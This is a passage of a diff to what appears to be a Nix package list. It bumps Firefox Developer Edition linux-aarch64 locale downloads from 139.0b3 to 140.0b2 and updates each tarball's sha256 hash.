+      sha256 = "071125d022f167f209c6b5fa6099a1eb4819ac095e44e28c72835af09dfc857d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/bn/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/bn/firefox-140.0b2.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "b88a34520fbc6cfa328e879478857b10a738dd5ed6c99d6db16d380e1b80b71a";
+      sha256 = "05bdb1c8f3bb8d673b2956471a60b616565d9acdc3ab673004c5fe30d4dd8b03";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/br/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/br/firefox-140.0b2.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "d2a051c03154c151367d01d887dd22d9c029c948c7ff406e5ba975a981e3270d";
+      sha256 = "cce32f7d6985778559a2559f9dd2d27acee239823176676732869f99fd114ac8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/bs/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/bs/firefox-140.0b2.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "b7ba2f914aacea218596d2118c001961c1151b9df842b5afb498d7729f4c7efc";
+      sha256 = "22b677d215dfc64350e9cc08cf77facdf56f2248d0be32136310014fcb8bc4c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ca-valencia/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ca-valencia/firefox-140.0b2.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "3d9cb24a0d049de007c4125efa869119aef50263f70bad64fb8ce328cce6abb0";
+      sha256 = "070138cb5c1576458df1acf2d7c735aeee45fd831cf6a5c058f705a555f08074";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ca/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ca/firefox-140.0b2.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "40288f778e9706bb3c2bccd641b7f79a9b96f5129bfb282a88fe891f95d20e9d";
+      sha256 = "3397ef999dabaef0f21e9c94597e5c1da632a525aac547635fc39ecdc4f7f8de";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/cak/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/cak/firefox-140.0b2.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "79a734a1a83b350d123b7c76dd991e9139d14c84b795486587bac3e001e43fdf";
+      sha256 = "f4bdcf93142b268ad5ece77deff6684197acc671c39ec3408269a5636761e9c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/cs/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/cs/firefox-140.0b2.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "3fbf932baa5ecb2c4ba06c6f8f29251d8c33c173df96ceef38250decdef6d73a";
+      sha256 = "f93563b2f365be59e77b205cd582fbab900aef88aa954c1bece23a6ee8d01a2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/cy/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/cy/firefox-140.0b2.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "4bf4c523a593907dba5ef4ed211d721ce89ca13af52852b61a8a812f7da6473f";
+      sha256 = "6ffa2b32e82102eec535998ee3593f9c6bae6290546425ad3d19f6038be42d7c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/da/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/da/firefox-140.0b2.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "f459937cbe98b49931130dc0ff35741600d919afc84226a0907f6b373496090d";
+      sha256 = "4cb2c407cf89df1a1add90caa9aaae5947ae389a322666ac5fc3f4534ab9f3be";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/de/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/de/firefox-140.0b2.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "c1cbb2e1a978612c0fa60ba060fcd00f45ab0610a49f42f3ea59a0032c1fdc5c";
+      sha256 = "25e3d5ff4e13d7b716d664f92bb60bedc0b695700c743cc27badba490df4cc2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/dsb/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/dsb/firefox-140.0b2.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "94288aba032c65e197001b10641ae42ea05a9a6c87f8ca6d98b48f5924ccb314";
+      sha256 = "a85a8c6d39afb495e1b34a896b3cc1aa930334fa8e720a06ba86620ebcb64641";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/el/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/el/firefox-140.0b2.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "143f849d261a87f066952914b466e6737a337cbd412117add91e7731b088c89e";
+      sha256 = "9a2abda0113c66b95d1bade25336432618e0123c3e344b97ed27f59a03257b13";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/en-CA/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/en-CA/firefox-140.0b2.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "a08ab6a5968ebf60d9c4c082475e1c7cfd840d90e8dc1265d999eab45d0bb26f";
+      sha256 = "05b6af15963426fbd845b2b43dc45499d366d476ad59cc80a1558009bd1d63a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/en-GB/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/en-GB/firefox-140.0b2.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "a14d387031ea588bddc104982f11480983a45f2d4e08c814ae91a6f9e8bdc4be";
+      sha256 = "b1babf23c66ddf5ac23188b272cbc61d0c9821c8d2ce4924b15d7231aaca96cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/en-US/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/en-US/firefox-140.0b2.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "a8b95ece65cf5ebc5d5ae2144943c66135a2a32d64d7ca1c2424a621b8ffc152";
+      sha256 = "b6b38968b00781bbc144065f0294947bdcd1f23bfa641f57efb6e88f5905cb40";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/eo/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/eo/firefox-140.0b2.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "0bf932cdb5b2b672bad8875e4bd59da43fda2fc8293b14f5b6fa5cf58c11dee1";
+      sha256 = "195e8ad6973822bd5f1919a82bdf2206cf9d12baa7ed38e467eb360dc5dd2c42";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/es-AR/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/es-AR/firefox-140.0b2.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "991cd0e2894a4293fe8d8bb78dadc51b7c0527a1d64b1bbad6328e553b65ec7d";
+      sha256 = "b4c3d0c5fe505ac5e7c9a38584683ce3c8236ecd497f055c7ffcd7b08604fc3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/es-CL/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/es-CL/firefox-140.0b2.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "15f27bd91d2d9f1833a3dff0ebf957bff6ab740bd5de214482e348240968259c";
+      sha256 = "42fdd9a3dc09de733adb19bc07eb40448390a4ae9a32039f695564915fca8537";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/es-ES/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/es-ES/firefox-140.0b2.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "0abd7d09a96262f226564b01633ddf9912ab190e448b57422c965d7ab544bdaa";
+      sha256 = "8946e80d10fbf064eb6fe4565afbf4b7c320d3e224871c33fd45a4c22c53554d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/es-MX/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/es-MX/firefox-140.0b2.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "651f09eb5e0818805219e57f9e9567fde5ea538e62b0970270547349cdd6bf09";
+      sha256 = "2e04c6985567aaec38c91f7d45da067153b12d6d800ff6653356af6a39bde95e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/et/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/et/firefox-140.0b2.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "3f970da97eba78efcb840aaa9e7812fc07340ead7b8939648fb8839c743298cd";
+      sha256 = "a331657da8a21a447d94ccf778b766abf845f73f2350fd75b4066a1a97cb7255";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/eu/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/eu/firefox-140.0b2.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "eb5464b8618eeda6aa507d09e403528ac991f883e4ea6070c01ecf7ccb34a2f9";
+      sha256 = "1b10be47d311454b148558de6e6a98947286d66b32627fe9da586f6e764b3846";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/fa/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/fa/firefox-140.0b2.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "6f78eb8b602d2b349d564d08e1797f7dd381a818b4f5fc4916e5e2d80a6890d1";
+      sha256 = "61ec0edc1639d7c69f258b4860135955addb730c382cd693faccd07acc9ee59e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ff/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ff/firefox-140.0b2.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "dd74dfd1b55dc2005764ee2237f4bd0cd841a90dcca88f97f4d7ea1cda57be28";
+      sha256 = "97a5d77fd30cf21502b8b9c8005112180396f26d24dce88f6086671b3711d710";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/fi/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/fi/firefox-140.0b2.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "108304dedc88ed30195dc443a62df7f1d579a8540fef911e7ebecc544aeebd2c";
+      sha256 = "180a4a853a9f03cb5c4b6467b8476edeee17ea5cf324ea4415648dcf3d85b228";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/fr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/fr/firefox-140.0b2.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "c02dfe50d5b405f8fb90868ad317f1020c85d6bd15c6167d4bb8af152af29f29";
+      sha256 = "6490b20b7cdb731df9d8e0df8ca46bc834b362c577c235d5397665a617b271ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/fur/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/fur/firefox-140.0b2.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "c110494b901de0d5cf4623bab3fb7aa523c2c8afe14ce1339207a07715c24e0c";
+      sha256 = "6d7c83bb94c905b02365b0502cb5d1ed7924eff2ffac575994598d7382aa4635";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/fy-NL/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/fy-NL/firefox-140.0b2.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "09fefbf594c1c840dc18611d303c8aeae70eb7126e17b5d0e41e96868601acbb";
+      sha256 = "9b11642f4ebd8e27f12d3c244ee467a668976a17edfb12b71e94238eb2a98d6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ga-IE/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ga-IE/firefox-140.0b2.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "51e4f9ad18f29f46875ce2e146a4300afb0f3b860f0bc9bbab2cd6be9c20a564";
+      sha256 = "2fea6d116c6be60aa0a0a46278fe29e29f0ea2d6b48396211d500fdfe5669d29";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/gd/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/gd/firefox-140.0b2.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "cab4cdd9d7b1af933f53863be982d427f59435522f24bdef27a302b9221dac7f";
+      sha256 = "22832b70b7504b7bea490b45a70ed88488951d4b9f4e50cec6869cedf5fdf916";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/gl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/gl/firefox-140.0b2.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "48b3771b813b62c8ade64e55ca5ea2e39671f2556e6057c49374b089adfbd2c7";
+      sha256 = "0fefa4add517fbd4a49ef4305c0a37dab58d5cd1cc579ac9dc4db005fd434e9d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/gn/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/gn/firefox-140.0b2.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "63e40c6ee16180e62fa6ef06f0bf1bf04fc9b368940013f2442e034229bbe586";
+      sha256 = "0dd0a13c53de0ff825cb563381ad0fd2956cc1b485f270cd9fd07fb791d7da79";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/gu-IN/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/gu-IN/firefox-140.0b2.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "3c3c3847fc36800336e000c7a5ca479edf4832f80b44ca7b4f79151a67119a16";
+      sha256 = "0afc4e0cf35f8668cd41026532b05070f5bfb116213d7f195a9e2458a2538c33";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/he/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/he/firefox-140.0b2.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "b77b031493a228f911f29ad93d55d9895005c31ba90a99a5b1b4e2d7d7034cbc";
+      sha256 = "f53438739efa25fb3bf2e76ea57105005c048ee8f87e3fdbaddb6987bd8b41f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/hi-IN/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/hi-IN/firefox-140.0b2.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "a0ada0fe2c28f6e0bf6abdfcdf60ceb5cdab896ff1c86a58d33c9bfb4faedeec";
+      sha256 = "e82d7805936223b363613138e1641e7ef042ca6229896b1f261cf9db85095921";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/hr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/hr/firefox-140.0b2.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "56fdf616a68d2701b4c505da83e70c14a6c08541ec826c7a187c23a30323c8a2";
+      sha256 = "5ccbd439a15849ab7cf33899e52190d7823042c05ad119e54d968284fd95cbc9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/hsb/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/hsb/firefox-140.0b2.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "dc133236dcd7500e46b2bb806212a41b11e906cf66a744dad2ab6aef663ab482";
+      sha256 = "6671d4973471337ff156fb0aa8d8a89026ea001a82a3c39151236e450ba83d11";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/hu/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/hu/firefox-140.0b2.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "d2c85ea926529b2caea6f3d5a07a954eac9fcb1feb1cd1780a7115fb38f7d03b";
+      sha256 = "f2b96cd0724c64b2bb946d03fbe4f689e06aeacfe25546521a85fc823df19190";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/hy-AM/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/hy-AM/firefox-140.0b2.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "b7e324693725687422ec9ffad3bec53e559fc755d9eb169783a0737edd9b173e";
+      sha256 = "9b57ab8d9dc9cf31b1e8c5983085ca6380b4edabc78c823cc5957862011c14d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ia/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ia/firefox-140.0b2.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "1016c382f3add7c82860d4a7f980770ca8d2332e182b1b14a958012378f272f0";
+      sha256 = "188793a0c4619be9fafb870583c716f2f71026505312050b38c90ba69a7ecba3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/id/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/id/firefox-140.0b2.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "331b1885e004f602ebc004460ad4780725dbb3829ed04714b21df919e4972661";
+      sha256 = "69601bbff0fe4b1719d9f76326ff363aed11404d0cc3b1babd6de85f174beae9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/is/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/is/firefox-140.0b2.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "4ec80ba6afb69479b2cbc942551cc129aa0d8887ee32a2803b07ae14de800744";
+      sha256 = "a446c41c5055ab8b81d28394aa0c3a204012a7409028a610269d6b8c31cab303";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/it/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/it/firefox-140.0b2.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "9d04dfe6d24db792b2091f6726f8ba5edf0ab2d9373f2e0957c951f1a055dce4";
+      sha256 = "68ec8352f64a031b2e12f43104822a2fbcd80b4061d8cd8ce87498112fd7e5a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ja/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ja/firefox-140.0b2.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "7d2b0709f649b8a6b2edb124a2a501f2309b2570b1807efb038c5400cb0216b2";
+      sha256 = "a21480a969ac74e85749a6e2904af86dcbee8a85b799b45e09b23c9e7553b783";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ka/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ka/firefox-140.0b2.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "06eef2411c405e2a17267bddd6d958c7fb55497478b6213fe259e40fb273dcff";
+      sha256 = "279672ac2c1b8d7f0e0d942f027a7fdfa7245c9676a406889f420e6b55131ae7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/kab/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/kab/firefox-140.0b2.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "eaafc34c8c596602091810cbc2af966e003d870c66a647c0cdd2a2a343f4a068";
+      sha256 = "502c7aefb553e3dd95dd66ee5c20f3314996e0a9551c6da66b3210a2af3268b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/kk/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/kk/firefox-140.0b2.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "dfef47c7d3255b1a711b611afd9adbb53be80eebefdac763da04af2157faece1";
+      sha256 = "71b29a6a4b5d8520c74b4321da341fd7d249396d898535f5ddcabdcb63c3fd05";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/km/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/km/firefox-140.0b2.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "9074c6ee90c6582c1202582d35d81f97b43789ebc3f9019261130dabcb01fd46";
+      sha256 = "dd9e94f1c57b55e16cbeaffa85ad406a9a845b7f67c2675b7f0cce97837b389c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/kn/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/kn/firefox-140.0b2.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "f8badc895b36bdcb7666510faf5f775470ab90733ac31201f147f3b45dc4ad9e";
+      sha256 = "9ef46633c7abf9862442181598534019b5da16d64cb0150bfa82a06c85a3410f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ko/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ko/firefox-140.0b2.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "9d8739e1e382c5b96240a6564219c7b0ce161524386539141f4dcc020cbb5fee";
+      sha256 = "bcfa77af5b291c24b0c60e730c39dd0217a6ff54818e2728ccbf84e04d20d2f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/lij/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/lij/firefox-140.0b2.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "c36fd45434f81e1c20c8793bd52cb85637999206b06ea9b094b2d1b0442f95cb";
+      sha256 = "2ab2cd1914eb0cf2429d9f02e95f5752a5284e12f85e29c54fbfde1ba95bff55";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/lt/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/lt/firefox-140.0b2.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "24d94d2ef16561bb3750d607fda39f4b39060efb83fd4d435cbef7383bf8f76d";
+      sha256 = "21854475ae62c250dd11e3265b109ccc755cfe4b7827c6911dd4246f26987318";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/lv/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/lv/firefox-140.0b2.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "6eb7553cd275cbf11b387088e52d9f508486d3f737b2482d1f53af1a2c1e0dbb";
+      sha256 = "1fb6f3e717bd7f285f1d084fea8be957eb7959c29035c4c1de3b116a21f9af67";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/mk/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/mk/firefox-140.0b2.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "8a1b20b6be53d68dd1effedc3522fec9b2d8c64a4d8e30c7a7113bf0fdb2317c";
+      sha256 = "9f52a7a077d6578820ae9011936ba436eb121814aeeae80e3c5aae097fc3af28";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/mr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/mr/firefox-140.0b2.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "4dc0347a86f3e4f784ae32e2324f3d134ce5b4fdec4eec34572f51c13763889b";
+      sha256 = "3f2b240659b7354b2d3cbdd8175f33a2a5884c90133fa394cd15b4f6e86ba4a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ms/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ms/firefox-140.0b2.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "7b3fbd663639fe8575eaadf01d3a9299f0c132a4b2fbbf25ddc2d18378102cf4";
+      sha256 = "73a18b565e742dbf56c406f2f1cf729a0dd0cbbb3c8660c8c01b2081cc924fba";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/my/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/my/firefox-140.0b2.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "8a039ed198a5b338fd32dd632f05c4de8a9dd61cb09247d5f37a1ffbc640e0fa";
+      sha256 = "e5e43ede829a329c553e786659e980d5e6e94f5228c42c2a44eb34b399210bb3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/nb-NO/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/nb-NO/firefox-140.0b2.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "70404a9fe3361dff890f344eebb61001bdcb6a3d4356cc06386783d70a163857";
+      sha256 = "bd5feca0d1a34e6ba4cc4839ba50d89bf0beda61ba975a2ef76f1a053d725605";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ne-NP/firefox-139.0b3.tar.xz";
